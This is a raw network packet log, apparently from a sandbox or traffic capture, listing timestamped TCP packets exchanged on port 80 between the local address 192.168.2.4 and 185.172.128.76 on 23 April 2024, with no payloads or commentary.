Apr 23, 2024 09:38:22.949208975 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.949214935 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.949245930 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.949260950 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.949281931 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.949290037 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.949321985 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.949325085 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.949357986 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.949364901 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.949399948 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.949425936 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.949444056 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.988749027 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.988816977 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.988890886 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.988928080 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.988962889 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.988974094 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.989000082 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.989002943 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.989036083 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.989048004 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.989073038 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.989106894 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.989115953 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.989141941 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.989149094 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.989178896 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.989186049 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.989214897 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.989219904 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.989250898 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.989286900 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.989295006 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.989321947 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.989327908 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.989365101 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.989609003 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.989644051 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.989653111 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.989692926 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.989713907 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.989751101 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.989758968 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.989794970 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.989830971 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.989866972 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.989875078 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.989905119 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.989908934 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.989939928 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.989949942 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.989983082 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.992151976 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.992191076 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.992202997 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.992233992 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.995579004 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.995615959 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.995628119 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.995657921 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.999752045 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.999797106 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.999805927 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.999835014 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.999836922 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.999872923 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.999878883 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.999913931 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.999948978 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.999959946 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:22.999989033 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:22.999994993 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.000030041 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.149837971 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.350687027 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.455013037 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.455055952 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.455073118 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.455095053 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.455130100 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.455131054 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.455154896 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.455168962 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.455172062 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.455204964 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.455205917 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.455240965 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.455241919 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.455318928 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.455318928 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.455355883 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.455391884 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.455394983 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.455498934 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.506416082 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.506458998 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.506495953 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.506514072 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.506531954 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.506568909 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.506575108 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.506606102 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.506642103 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.506649017 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.506676912 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.506685972 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.506712914 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.506748915 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.506757021 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.506784916 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.506822109 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.506828070 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.506908894 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.507041931 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.507077932 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.507093906 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.507113934 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.507127047 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.507179976 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.507200956 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.507215977 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.507232904 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.507260084 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.507268906 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.507307053 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.507318020 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.507365942 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.558015108 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.558032036 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.558056116 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.558060884 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.558089018 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.558108091 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.558109045 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.558135033 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.558151007 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.558162928 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.558178902 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.558196068 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.558211088 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.558228016 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.558281898 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.558283091 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.558343887 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.558370113 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.558387041 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.558402061 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.558417082 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.558423042 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.558434010 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.558449984 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.558453083 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.558484077 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.558506966 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.558512926 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.558525085 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.558554888 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.558571100 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.558585882 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.558595896 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.558623075 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.558656931 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.558674097 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.558768988 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.558928013 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.558964968 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.558990955 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.559000015 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.559012890 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.559016943 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.559042931 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.559043884 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.559051991 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.559061050 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.559067965 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.559077978 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.559107065 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.559263945 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.559324026 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.559365034 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.559473038 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.559489012 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.559504032 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.559520006 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.559520960 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.559535980 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.559545994 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.559552908 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.559567928 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.559571028 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.559583902 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.559597015 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.559618950 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.609806061 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.609823942 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.609838963 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.609853983 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.609858990 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.609870911 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.609873056 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.609888077 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.609904051 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.609909058 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.609920025 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.609927893 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.609935999 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.609949112 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.609951973 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.609961987 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.609968901 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.609981060 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.609985113 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.609989882 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.610002041 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.610013008 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.610021114 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.610038996 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.656313896 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.656359911 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.656563044 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.656591892 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.656606913 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.656615019 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.656622887 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.656634092 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.656641960 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.656656981 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.656661987 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.656685114 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.656708956 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.656719923 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.656737089 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.656753063 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.656760931 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.656769037 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.656785011 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.656786919 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.656802893 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.656810045 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.656821012 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.656832933 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.656838894 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.656846046 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.656856060 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.656866074 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.656872034 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.656883001 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.656891108 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.656893969 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.656908035 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.656924963 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.656928062 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.656950951 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.656975985 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.708753109 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.708771944 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.708789110 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.708806992 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.708806038 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.708812952 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.708832026 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.708837986 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.708839893 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.708848000 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.708851099 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.708873034 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.708880901 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.708889961 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.708901882 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.708905935 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.708916903 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.708933115 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.708950043 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.708957911 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.708966017 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.708981991 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.708987951 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.708998919 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.709014893 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.709014893 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.709031105 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.709038019 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.709048033 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.709059000 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.709064007 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.709079981 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.709084034 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.709095955 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.709105968 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.709111929 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.709127903 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.709129095 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.709144115 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.709152937 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.709161043 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.709177017 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.709178925 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.709196091 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.709203959 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.709212065 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.709223032 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.709228039 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.709235907 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.709244967 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.709260941 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.709263086 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.709263086 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.709276915 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.709280014 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.709292889 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.709295034 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.709309101 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.709312916 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.709322929 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.709326029 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.709342003 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.709348917 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.709378958 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.758893013 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.758953094 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.759089947 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.759107113 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.759123087 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.759141922 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.759145975 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.759157896 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.759175062 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.759180069 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:23.759191036 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.759207964 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:23.759208918 CEST	49733	80	192.168.2.4	185.172.128.76
